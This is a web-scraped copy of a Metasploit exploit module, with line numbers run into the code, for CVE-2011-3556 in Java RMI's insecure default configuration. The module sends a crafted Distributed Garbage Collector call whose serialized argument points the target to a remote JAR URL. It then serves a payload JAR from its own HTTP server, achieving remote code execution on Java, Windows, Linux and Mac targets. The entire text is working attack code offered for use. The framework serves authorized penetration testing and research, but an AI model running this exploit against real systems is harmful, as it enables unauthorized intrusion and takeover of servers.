Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
31203 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Java::Rmi::Client9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::Remote::CheckModule1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',17'Description' => %q{18This module takes advantage of the default configuration of the RMI Registry and19RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it20invokes a method in the RMI Distributed Garbage Collector which is available via every21RMI endpoint, it can be used against both rmiregistry and rmid, and against most other22(custom) RMI endpoints as well.2324Note that it does not work against Java Management Extension (JMX) ports since those do25not support remote class loading, unless another RMI endpoint is active in the same26Java process.2728RMI method calls do not support or require any sort of authentication.29},30'Author' => [ 'mihi' ],31'License' => MSF_LICENSE,32'References' => [33# RMI protocol specification34[ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],35[ 'URL', 'http://www.securitytracker.com/id?1026215'],36[ 'CVE', '2011-3556']37],38'DisclosureDate' => '2011-10-15',39'Privileged' => false,40'Payload' => { 'BadChars' => '', 'DisableNops' => true },41'Stance' => Msf::Exploit::Stance::Aggressive,42'DefaultOptions' => {43'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',44'WfsDelay' => 1045},46'Targets' => [47[48'Generic (Java Payload)',49{50'Platform' => ['java'],51'Arch' => ARCH_JAVA52}53],54[55'Windows x86 (Native Payload)',56{57'Platform' => 'win',58'Arch' => ARCH_X8659}60],61[62'Linux x86 (Native Payload)',63{64'Platform' => 'linux',65'Arch' => ARCH_X8666}67],68[69'Mac OS X PPC (Native Payload)',70{71'Platform' => 'osx',72'Arch' => ARCH_PPC73}74],75[76'Mac OS X x86 (Native Payload)',77{78'Platform' => 'osx',79'Arch' => ARCH_X8680}81]82],83'DefaultTarget' => 0,84'Notes' => {85'Reliability' => UNKNOWN_RELIABILITY,86'Stability' => UNKNOWN_STABILITY,87'SideEffects' => UNKNOWN_SIDE_EFFECTS88}89)90)91register_options([92Opt::RPORT(1099),93OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),94])95register_common_rmi_ports_and_services96end9798def exploit99Timeout.timeout(datastore['HTTPDELAY']) { super }100rescue Timeout::Error101# When the server stops due to our timeout, re-raise102# RuntimeError so it won't wait the full wfs_delay103raise "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"104rescue Msf::Exploit::Failed105# When the server stops due primer failing, re-raise106# RuntimeError so it won't wait the full wfs_delays107raise "Exploit aborted due to failure #{fail_reason} #{(fail_detail || 'No reason given')}"108rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e109# When the primer fails due to an error connecting with110# the rhost, re-raise RuntimeError so it won't wait the111# full wfs_delays112raise e.message.to_s113end114115def primer116connect117118print_status('Sending RMI Header...')119send_header120ack = recv_protocol_ack121if ack.nil?122fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")123end124125jar = rand_text_alpha(rand(1..8)) + '.jar'126new_url = get_uri + '/' + jar127128print_status('Sending RMI Call...')129dgc_interface_hash = calculate_interface_hash(130[131{132name: 'clean',133descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',134exceptions: ['java.rmi.RemoteException']135},136{137name: 'dirty',138descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',139exceptions: ['java.rmi.RemoteException']140}141]142)143144# JDK 1.1 stub protocol145# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)146# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))147send_call(148object_number: 2,149uid_number: 0,150uid_time: 0,151uid_count: 0,152operation: 0,153hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash154arguments: build_dgc_clean_args(new_url)155)156157return_value = recv_return158159if return_value.nil? && !session_created?160fail_with(Failure::Unknown, 'RMI Call failed')161end162163if return_value && return_value.is_exception? && loader_disabled?(return_value)164fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')165end166167if return_value && return_value.is_exception? && class_not_found?(return_value)168fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')169end170171disconnect172end173174def on_request_uri(cli, request)175if request.uri =~ /\.jar$/i176p = regenerate_payload(cli)177jar = p.encoded_jar178paths = [179[ 'metasploit', 'RMILoader.class' ],180[ 'metasploit', 'RMIPayload.class' ],181]182183jar.add_file('metasploit/', '') # create metasploit dir184paths.each do |path_parts|185path = ['java', path_parts].flatten.join('/')186contents = ::MetasploitPayloads.read(path)187jar.add_file(path_parts.join('/'), contents)188end189190send_response(cli, jar.pack,191{192'Content-Type' => 'application/java-archive',193'Connection' => 'close',194'Pragma' => 'no-cache'195})196197print_status('Replied to request for payload JAR')198cleanup_service199end200end201202def autofilter203return true204end205206def loader_disabled?(return_value)207return_value.value.each do |exception|208if exception.class == Rex::Java::Serialization::Model::NewObject &&209exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&210exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' &&211[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&212exception.class_data[1].contents.include?('RMI class loader disabled')213return true214end215end216217false218end219220def class_not_found?(return_value)221return_value.value.each do |exception|222if exception.class == Rex::Java::Serialization::Model::NewObject &&223exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&224exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'225return true226end227end228229false230end231232def build_dgc_clean_args(jar_url)233arguments = []234235new_array_annotation = Rex::Java::Serialization::Model::Annotation.new236new_array_annotation.contents = [237Rex::Java::Serialization::Model::NullReference.new,238Rex::Java::Serialization::Model::EndBlockData.new239]240241new_array_super = Rex::Java::Serialization::Model::ClassDesc.new242new_array_super.description = Rex::Java::Serialization::Model::NullReference.new243244new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new245new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')246new_array_desc.serial_version = 0x871300b8d02c647e247new_array_desc.flags = 2248new_array_desc.fields = []249new_array_desc.class_annotation = new_array_annotation250new_array_desc.super_class = new_array_super251252array_desc = Rex::Java::Serialization::Model::ClassDesc.new253array_desc.description = new_array_desc254255new_array = Rex::Java::Serialization::Model::NewArray.new256new_array.type = 'java.rmi.server.ObjID;'257new_array.values = []258new_array.array_description = array_desc259260arguments << new_array261arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")262263new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new264new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')265new_class_desc.serial_version = 0xa16544ba26f9c2f4266new_class_desc.flags = 2267new_class_desc.fields = []268new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new269new_class_desc.class_annotation.contents = [270Rex::Java::Serialization::Model::Utf.new(nil, jar_url),271Rex::Java::Serialization::Model::EndBlockData.new272]273new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new274new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new275276new_object = Rex::Java::Serialization::Model::NewObject.new277new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new278new_object.class_desc.description = new_class_desc279new_object.class_data = []280281arguments << new_object282283arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")284285arguments286end287end288289290